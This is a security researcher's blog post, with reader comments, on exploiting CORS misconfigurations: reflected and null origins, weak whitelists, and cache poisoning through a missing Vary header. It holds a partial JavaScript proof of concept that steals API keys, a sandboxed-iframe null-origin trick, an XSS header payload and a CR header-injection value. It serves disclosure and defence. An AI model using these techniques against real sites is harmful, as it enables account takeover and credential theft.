Friday, October 14, 2016

Exploiting CORS Misconfigurations for Bitcoins and Bounties

(or CORS Misconfiguration Misconceptions)

This is a greatly condensed version of my AppSec USA talk. If you have time (or struggle to understand anything) I highly recommend checking out the slides and watching the video.

Cross-Origin Resource Sharing (CORS) is a mechanism for relaxing the Same Origin Policy to enable communication between websites via browsers. It’s widely understood that certain CORS configurations are dangerous, but some associated subtleties and implications are easily misunderstood. In this post I’ll show how to critically examine CORS configurations from a hacker’s perspective, and steal bitcoins.

CORS for Hackers

Websites enable CORS by sending the following HTTP response header:
This permits the listed origin (domain) to make visitors’ web browsers issue cross-domain requests to the server and read the responses - something the Same Origin Policy would normally prevent. By default this request will be issued without cookies or other credentials, so it can’t be used to steal sensitive user-specific information like CSRF tokens. The server can enable credential transmission using the following header:
Access-Control-Allow-Credentials: true
This creates a trust relationship - an XSS vulnerability on is bad news for this site.

Hidden in plain sight

Trusting a single origin is easy. What if you need to trust multiple origins? The specification suggests that you can simply specify a space-separated list of origins, eg:
However, no browsers actually support this.

You might also want to use a wildcard to trust all your subdomains, by specifying something like:
Access-Control-Allow-Origin: *
But that won't work either. The only wildcard origin is '*'

There's a hidden safety catch in CORS, too. If you try to disable the SOP entirely and expose your site to everyone by using the following terrifying looking header combination:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Then you’ll get the following error in your browser console:
“Cannot use wildcard in Access-Control-Allow-Origin when credentials flag is true.”
This exception is mentioned in the specification, and also backed up by Mozilla’s documentation:
"when responding to a credentialed request,  server must specify a domain, and cannot use wild carding"
In other words, using a wildcard effectively disables the Allow-Credentials header.

As a result of these limitations, many servers programmatically generate the Access-Control-Allow-Origin header based on the user-supplied Origin value. If you see a HTTP response with any Access-Control-* headers but no origins declared, this is a strong indication that the server will generate the header based on your input. Other servers will only send CORS headers if they receive a request containing the Origin header, making associated vulnerabilities extremely easy to miss.

Credentials and bitcoins

So, plenty of websites derive allowed origins from user input. What could possibly go wrong? I decided to assess a few bug bounty sites and find out. Note that as these sites all have bug bounty programs, every vulnerability I mention has been missed by numerous other bounty hunters.

I quickly replicated Evan Johnson's finding that many applications make no attempt to validate the origin before reflecting it, and identified a vulnerable bitcoin exchange (which sadly prefers to remain unnamed):
GET /api/requestApiKey HTTP/1.1
Host: <redacted>
Cookie: sessionid=...

HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true

{"[private API key]"}
Making a proof of concept exploit to steal users' private API keys was trivial:
var req = new XMLHttpRequest();
req.onload = reqListener;'get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true;

function reqListener() {
After retrieving a user's API key, I could disable account notifications, enable 2FA to lock them out, and transfer their bitcoins to an arbitrary address. That’s pretty severe for a header misconfiguration. Resisting the urge to take the bitcoins and run, I reported this to their bug bounty program and it was patched within an astounding 20 minutes.

Some websites make classic URL parsing mistakes when attempting to verify whether an origin should be trusted. For example, a site which I'll call trusts all origins that ended in, including Even worse, a second bitcoin exchange (let's call it trusted all Origins that started with, including Unfortunately the site unexpectedly and permanently ceased operations before I could build a working proof of concept. I won't speculate as to why.

The null origin

If you were paying close attention earlier, you might have wondered what the 'null' origin is for. The specification mentions it being triggered by redirects, and a few stackoverflow posts show that local HTML files also get it. Perhaps due to the association with local files, I found that quite a few websites whitelist it, including Google's PDF reader:
GET /reader?url=zxcvbn.pdf
Origin: null

HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
and a certain third bitcoin exchange. This is great for attackers, because any website can easily obtain the null origin using a sandboxed iframe:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>’></iframe>

Using a sequence of CORS requests, it was possible to steal encrypted backups of users' wallets, enabling an extremely fast offline brute-force attack against their wallet password. If anyone's password wasn't quite up to scratch, I'd get their bitcoins.

This particular misconfiguration is surprisingly common - if you look for it, you'll find it. The choice of the keyword 'null' is itself a tad unfortunate, because failing to configure an origin whitelist in certain applications may result in...
Access-Control-Allow-Origin: null

Breaking HTTPS

During this research I found two other prevalent whitelist implementation flaws, which often occur at the same time. The first is blindly whitelisting all subdomains - even non-existent ones. Many companies have subdomains pointing to applications hosted by third parties with awful security practises. Trusting that these don't have a single XSS vulnerability and never will in future is a really bad idea.

The second common error is failing to restrict the origin protocol. If a website is accessed over HTTPS but will happily accept CORS interactions from http://wherever, someone performing an active man-in-the-middle (MITM) attack can pretty much bypass its use of HTTPS entirely. Strict Transport Security and secure cookies will do little to prevent this attack. Check out the presentation recording when it lands for a demo of this attack.

Abusing CORS Without Credentials

We've seen that with credentials enabled, CORS can be highly dangerous. Without credentials, many attacks become irrelevant; it means you can't ride on a user's cookies, so there is often nothing to be gained by making their browser issue the request rather than issuing it yourself. Even token fixation attacks are infeasible, because any new cookies set are ignored by the browser.

One notable exception is when the victim's network location functions as a kind of authentication. You can use a victim’s browser as a proxy to bypass IP-based authentication and access intranet applications. In terms of impact this is similar to DNS rebinding, but much less fiddly to exploit.

Vary: Origin 

If you take a look at the 'Implementation Considerations' section in the CORS specification, you'll notice that it instructs developers specify the 'Vary: Origin' HTTP header whenever Access-Control-Allow-Origin headers are dynamically generated.

That might sound pretty simple, but immense numbers of people forget, including the W3C itself, leading to this fantastic quote:
"I must say, it doesn't make me very confident that soon more sites will be supporting CORS if not even the W3C manages to configure its server right" - Reto Gmür
What happens if we ignore this advice? Mostly things just break. However, in the right circumstances it can enable some quite serious attacks.

Client-Side Cache Poisoning

You may have occasionally encountered a page with reflected XSS in a custom HTTP header. Say a web page reflects the contents of a custom header without encoding:
GET / HTTP/1.1
X-User-id: <svg/onload=alert(1)>

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
Invalid user: <svg/onload=alert(1)>
Without CORS, this is impossible to exploit as there’s no way to make someone’s browser send the X-User-id header cross-domain. With CORS, we can make them send this request. By itself, that's useless since the response containing our injected JavaScript won't be rendered. However, if Vary: Origin hasn't been specified the response may be stored in the browser's cache and displayed directly when the browser navigates to the associated URL. I've made a fiddle to attempt this attack on a URL of your choice. Since this attack uses client-side caching, it's actually quite reliable.

Server-Side Cache Poisoning

If the stars are aligned we may be able to use server-side cache poisoning via HTTP header injection to create a stored XSS vulnerability.

If an application reflects the Origin header without even checking it for illegal characters like \r, we effectively have a HTTP header injection vulnerability against IE/Edge users as Internet Explorer and Edge view \r (0x0d) as a valid HTTP header terminator:
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
Internet Explorer sees the response as:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
This isn't directly exploitable because there's no way for an attacker to make someone's web browser send such a malformed header, but I can manually craft this request in Burp Suite and a server-side cache may save the response and serve it to other people. The payload I've used will change the page's character set to UTF-7, which is notoriously useful for creating XSS vulnerabilities.

Good Intentions and Bad Results

I was initially surprised by the number of sites that dynamically generate Access-Control-Allow-Origin headers. The root cause of this behavior may be two key limitations of CORS - multiple origins in a single header aren't supported, and neither are wildcarded subdomains. This leaves many developers with no choice but to do dynamic header generation, risking all the implementation flaws discussed above. I think that if the specification authors and browsers decided to allow origin lists and partial wildcards, dynamic header generation and associated vulnerabilities would plummet.

Another potential improvement for browsers is to apply the wildcard+credentials exception to the null origin. At present, the null origin is significantly more dangerous than the wildcard origin, something I imagine a lot of people find surprising.

Something else browsers could try is blocking what I've coined "reverse mixed-content" - HTTP sites using CORS to steal data from HTTPS sites. I have no idea what scale of breakage this would cause, though.

Simplicity and security may go hand in hand but by neglecting to support multiple origin declarations, web browsers have just pushed the complexity onto developers with harmful results. I think the main take-away from this is that secure specification design and implementation is fiendishly difficult.


CORS is a powerful technology best used with care, and severe exploits don't always require specialist skills and convoluted exploit chains - often a basic understanding of a specification and a little attentiveness is all you need. In case you're running low on coffee, as of today Burp Suite's scanner will identify and report all the flaws discussed here.

- @albinowax


Anonymous said...

many applications make no attempt to validate the origin before reflecting it, and identified a vulnerable bitcoin exchange

You're bluffing.

Aw, nice trick! (the null Origin with iframe sandbox)

James Kettle said...

No bluffs here (although I did tamper with the URL slightly to prevent people recognising the vulnerable site). To me, it's not surprising that a bitcoin exchange is hackable, but it is surprising how easy it was. I think it's just a side effect of poor awareness of CORS vulnerabilities.

Sean T said...

I have seen CORS vulnerabilities in 3 applications I have tested in the last year. When it comes to CORS,just say no.......

Maxwell said...

MD5: eb98fc4432cff3e288afd2bd2b6b3661
SHA256: 5b20bc2f1b236af3049a155fa8f122f5d91097041ebf17964bd640aa439ecaaf


Dafydd Stuttard said...

@Maxwell No, Burp is not infected or backdoored. Some AV products are prone to false positives and might wrongly report Burp (or any other software) as infected.

Gowtham Sundar said...

What is the secure way of implementing CORS in order to avoid related attacks ?? any reference links ??

James Kettle said...

@Gowtham Take a look at slide 29 on

Damian Rusinek said...

Some websites reflect the origin header in access-control-allow-origin on the main page and return '*' on authorized pages. So the reflected origin on main page can be a false positive. Check BitBucket.

James Kettle said...

Yep CORS headers are often generated per-page; never assume behaviour seen on one page is consistent throughout a site. This is why Burp Suite will report this issue per response instead of per domain.

Anonymous said...

@James: Nice Article!

I have tried with different cases but never got the behavior required for HTTP injection
that was mentioned. Can you please share some PoC details about HTTP injection via header values in IE & EDGE browsers? thanks..